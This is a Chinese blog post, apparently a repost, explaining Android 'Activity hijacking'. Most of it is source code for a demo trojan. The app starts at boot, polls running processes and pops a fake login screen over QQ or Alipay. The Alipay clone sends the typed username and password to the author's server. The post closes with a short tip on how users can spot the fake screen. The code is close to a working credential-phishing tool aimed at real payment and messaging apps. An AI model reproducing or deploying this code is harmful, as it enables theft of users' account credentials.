分享

大谈android安全1——Activity劫持与用户防范

 昵称12229927 2013-05-27
1、Activity调度机制
在android系统中,不同的程序之间的切换基本上是无缝的,它们之间的切换只不过是Activity的切换。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。
当AmS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。

2、Android设计上的缺陷——Activity劫持
如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。
<img class="alignnone size-full wp-image-621" title="Activity劫持 演示文档" src="http://msdxblog-wordpress.stor.sinaapp.com/uploads/2012/08/Activity劫持-演示文档.png" alt="" width="960" height="720" />
但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢?
在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

3、示例
下面是示例代码。
AndroidManifest.xml文件的代码。

Xml代码 复制代码 收藏代码
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <manifest xmlns:android="http://schemas./apk/res/android"
  3. package="com.sinaapp.msdxblog.android.activityhijacking"
  4. android:versionCode="1"
  5. android:versionName="1.0" >
  6. <uses-sdk android:minSdkVersion="4" />
  7. <uses-permission android:name="android.permission.INTERNET" />
  8. <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
  9. <application
  10. android:name=".HijackingApplication"
  11. android:icon="@drawable/icon"
  12. android:label="@string/app_name" >
  13. <activity
  14. android:name=".activity.HijackingActivity"
  15. android:theme="@style/transparent"
  16. android:label="@string/app_name" >
  17. <intent-filter>
  18. <action android:name="android.intent.action.MAIN" />
  19. <category android:name="android.intent.category.LAUNCHER" />
  20. </intent-filter>
  21. </activity>
  22. <activity android:name=".activity.sadstories.JokeActivity" />
  23. <activity android:name=".activity.sadstories.QQStoryActivity" />
  24. <activity android:name=".activity.sadstories.AlipayStoryActivity" />
  25. <receiver
  26. android:name=".receiver.HijackingReceiver"
  27. android:enabled="true"
  28. android:exported="true" >
  29. <intent-filter>
  30. <action android:name="android.intent.action.BOOT_COMPLETED" />
  31. </intent-filter>
  32. </receiver>
  33. <service android:name=".service.HijackingService" >
  34. </service>
  35. </application>
  36. </manifest>


在以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开机启动的权限的这一行代码 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。
Java代码 复制代码 收藏代码
  1. package com.sinaapp.msdxblog.android.activityhijacking.activity;
  2. import android.app.Activity;
  3. import android.content.Intent;
  4. import android.os.Bundle;
  5. import android.util.Log;
  6. import com.sinaapp.msdxblog.android.activityhijacking.R;
  7. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
  8. public class HijackingActivity extends Activity {
  9. /** Called when the activity is first created. */
  10. @Override
  11. public void onCreate(Bundle savedInstanceState) {
  12. super.onCreate(savedInstanceState);
  13. setContentView(R.layout.main);
  14. Intent intent2 = new Intent(this, HijackingService.class);
  15. startService(intent2);
  16. Log.w("hijacking", "activity启动用来劫持的Service");
  17. }
  18. }


如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。
Java代码 复制代码 收藏代码
  1. /*
  2. * @(#)HijackingBroadcast.java Project:ActivityHijackingDemo
  3. * Date:2012-6-7
  4. *
  5. * Copyright (c) 2011 CFuture09, Institute of Software,
  6. * Guangdong Ocean University, Zhanjiang, GuangDong, China.
  7. * All rights reserved.
  8. *
  9. * Licensed under the Apache License, Version 2.0 (the "License");
  10. * you may not use this file except in compliance with the License.
  11. * You may obtain a copy of the License at
  12. *
  13. * http://www./licenses/LICENSE-2.0
  14. *
  15. * Unless required by applicable law or agreed to in writing, software
  16. * distributed under the License is distributed on an "AS IS" BASIS,
  17. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  18. * See the License for the specific language governing permissions and
  19. * limitations under the License.
  20. */
  21. package com.sinaapp.msdxblog.android.activityhijacking.receiver;
  22. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
  23. import android.content.BroadcastReceiver;
  24. import android.content.Context;
  25. import android.content.Intent;
  26. import android.util.Log;
  27. /**
  28. * @author Geek_Soledad (66704238@51uc.com)
  29. */
  30. public class HijackingReceiver extends BroadcastReceiver {
  31. @Override
  32. public void onReceive(Context context, Intent intent) {
  33. if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
  34. Log.w("hijacking", "开机启动");
  35. Intent intent2 = new Intent(context, HijackingService.class);
  36. context.startService(intent2);
  37. Log.w("hijacking", "启动用来劫持的Service");
  38. }
  39. }
  40. }


下面这个HijackingService类可就关键了,即用来进行Activity劫持的。
在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。
代码如下:
Java代码 复制代码 收藏代码
  1. /*
  2. * @(#)HijackingService.java Project:ActivityHijackingDemo
  3. * Date:2012-6-7
  4. *
  5. * Copyright (c) 2011 CFuture09, Institute of Software,
  6. * Guangdong Ocean University, Zhanjiang, GuangDong, China.
  7. * All rights reserved.
  8. *
  9. * Licensed under the Apache License, Version 2.0 (the "License");
  10. * you may not use this file except in compliance with the License.
  11. * You may obtain a copy of the License at
  12. *
  13. * http://www./licenses/LICENSE-2.0
  14. *
  15. * Unless required by applicable law or agreed to in writing, software
  16. * distributed under the License is distributed on an "AS IS" BASIS,
  17. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  18. * See the License for the specific language governing permissions and
  19. * limitations under the License.
  20. */
  21. package com.sinaapp.msdxblog.android.activityhijacking.service;
  22. import java.util.HashMap;
  23. import java.util.List;
  24. import android.app.ActivityManager;
  25. import android.app.ActivityManager.RunningAppProcessInfo;
  26. import android.app.Service;
  27. import android.content.Context;
  28. import android.content.Intent;
  29. import android.os.Handler;
  30. import android.os.IBinder;
  31. import android.util.Log;
  32. import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
  33. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
  34. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
  35. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;
  36. /**
  37. * @author Geek_Soledad (66704238@51uc.com)
  38. */
  39. public class HijackingService extends Service {
  40. private boolean hasStart = false;
  41. // 这是一个悲伤的故事……
  42. HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();
  43. // Timer mTimer = new Timer();
  44. Handler handler = new Handler();
  45. Runnable mTask = new Runnable() {
  46. @Override
  47. public void run() {
  48. ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
  49. List<RunningAppProcessInfo> appProcessInfos = activityManager
  50. .getRunningAppProcesses();
  51. // 枚举进程
  52. Log.w("hijacking", "正在枚举进程");
  53. for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
  54. // 如果APP在前台,那么——悲伤的故事就要来了
  55. if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
  56. if (mSadStories.containsKey(appProcessInfo.processName)) {
  57. // 进行劫持
  58. hijacking(appProcessInfo.processName);
  59. } else {
  60. Log.w("hijacking", appProcessInfo.processName);
  61. }
  62. }
  63. }
  64. handler.postDelayed(mTask, 1000);
  65. }
  66. /**
  67. * 进行劫持
  68. * @param processName
  69. */
  70. private void hijacking(String processName) {
  71. Log.w("hijacking", "有程序要悲剧了……");
  72. if (((HijackingApplication) getApplication())
  73. .hasProgressBeHijacked(processName) == false) {
  74. Log.w("hijacking", "悲剧正在发生");
  75. Intent jackingIsComing = new Intent(getBaseContext(),
  76. mSadStories.get(processName));
  77. jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  78. getApplication().startActivity(jackingIsComing);
  79. ((HijackingApplication) getApplication())
  80. .addProgressHijacked(processName);
  81. Log.w("hijacking", "已经劫持");
  82. }
  83. }
  84. };
  85. @Override
  86. public IBinder onBind(Intent intent) {
  87. return null;
  88. }
  89. @Override
  90. public void onStart(Intent intent, int startId) {
  91. super.onStart(intent, startId);
  92. if (!hasStart) {
  93. mSadStories.put("com.sinaapp.msdxblog.android.lol",
  94. JokeActivity.class);
  95. mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
  96. mSadStories.put("com.eg.android.AlipayGphone",
  97. AlipayStoryActivity.class);
  98. handler.postDelayed(mTask, 1000);
  99. hasStart = true;
  100. }
  101. }
  102. @Override
  103. public boolean stopService(Intent name) {
  104. hasStart = false;
  105. Log.w("hijacking", "劫持服务停止");
  106. ((HijackingApplication) getApplication()).clearProgressHijacked();
  107. return super.stopService(name);
  108. }
  109. }


下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。
Java代码 复制代码 收藏代码
  1. /*
  2. * @(#)QQStoryActivity.java Project:ActivityHijackingDemo
  3. * Date:2012-6-7
  4. *
  5. * Copyright (c) 2011 CFuture09, Institute of Software,
  6. * Guangdong Ocean University, Zhanjiang, GuangDong, China.
  7. * All rights reserved.
  8. *
  9. * Licensed under the Apache License, Version 2.0 (the "License");
  10. * you may not use this file except in compliance with the License.
  11. * You may obtain a copy of the License at
  12. *
  13. * http://www./licenses/LICENSE-2.0
  14. *
  15. * Unless required by applicable law or agreed to in writing, software
  16. * distributed under the License is distributed on an "AS IS" BASIS,
  17. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  18. * See the License for the specific language governing permissions and
  19. * limitations under the License.
  20. */
  21. package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;
  22. import android.app.Activity;
  23. import android.os.Bundle;
  24. import android.os.Handler;
  25. import android.os.HandlerThread;
  26. import android.text.Html;
  27. import android.view.View;
  28. import android.widget.Button;
  29. import android.widget.EditText;
  30. import android.widget.TextView;
  31. import com.sinaapp.msdxblog.android.activityhijacking.R;
  32. import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;
  33. /**
  34. * @author Geek_Soledad (66704238@51uc.com)
  35. */
  36. public class AlipayStoryActivity extends Activity {
  37. private EditText name;
  38. private EditText password;
  39. private Button mBtAlipay;
  40. private Button mBtTaobao;
  41. private Button mBtRegister;
  42. private TextView mTvFindpswd;
  43. @Override
  44. protected void onCreate(Bundle savedInstanceState) {
  45. super.onCreate(savedInstanceState);
  46. this.setTheme(android.R.style.Theme_NoTitleBar);
  47. setContentView(R.layout.alipay);
  48. mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
  49. mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
  50. mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
  51. mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
  52. mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));
  53. mBtAlipay.setSelected(true);
  54. name = (EditText) findViewById(R.id.input_name);
  55. password = (EditText) findViewById(R.id.input_password);
  56. }
  57. public void onButtonClicked(View v) {
  58. switch (v.getId()) {
  59. case R.id.alipay_bt_login:
  60. HandlerThread handlerThread = new HandlerThread("send");
  61. handlerThread.start();
  62. new Handler(handlerThread.getLooper()).post(new Runnable() {
  63. @Override
  64. public void run() {
  65. // 发送获取到的用户密码
  66. SendUtil.sendInfo(name.getText().toString(), password
  67. .getText().toString(), "支付宝");
  68. }
  69. });
  70. moveTaskToBack(true);
  71. break;
  72. case R.id.alipay_bt_alipay:
  73. chooseToAlipay();
  74. break;
  75. case R.id.alipay_bt_taobao:
  76. chooseToTaobao();
  77. break;
  78. default:
  79. break;
  80. }
  81. }
  82. private void chooseToAlipay() {
  83. mBtAlipay.setSelected(true);
  84. mBtTaobao.setSelected(false);
  85. name.setHint(R.string.alipay_name_alipay_hint);
  86. mTvFindpswd.setVisibility(View.VISIBLE);
  87. mBtRegister.setVisibility(View.VISIBLE);
  88. }
  89. private void chooseToTaobao() {
  90. mBtAlipay.setSelected(false);
  91. mBtTaobao.setSelected(true);
  92. name.setHint(R.string.alipay_name_taobao_hint);
  93. mTvFindpswd.setVisibility(View.GONE);
  94. mBtRegister.setVisibility(View.GONE);
  95. }
  96. }

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。
至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。

下面是我在学校时用来演示的PPT及APK。
ActivityHijackingDemo.apk<br/>
Activity劫持 演示文档.7z<br/>

4、用户防范
这里我将说下我发现的防范的方法,非常简单。这个方法是对用户而言的。android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务(前几天发现一个奇葩的手机,居然是短按一个键的,而这个键长按时是弹出MENU菜单,太奇葩了)。对于我所用的HTC G14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务,就可以知道这个登录界面是来源于哪个程序了。
如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。

目前对于这种Activity劫持,没有发现有任何手机查杀软件可以主动防范。而我所知的,也只有我发现的这一方法可以判别。如果有新的消息,欢迎参加讨论。

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多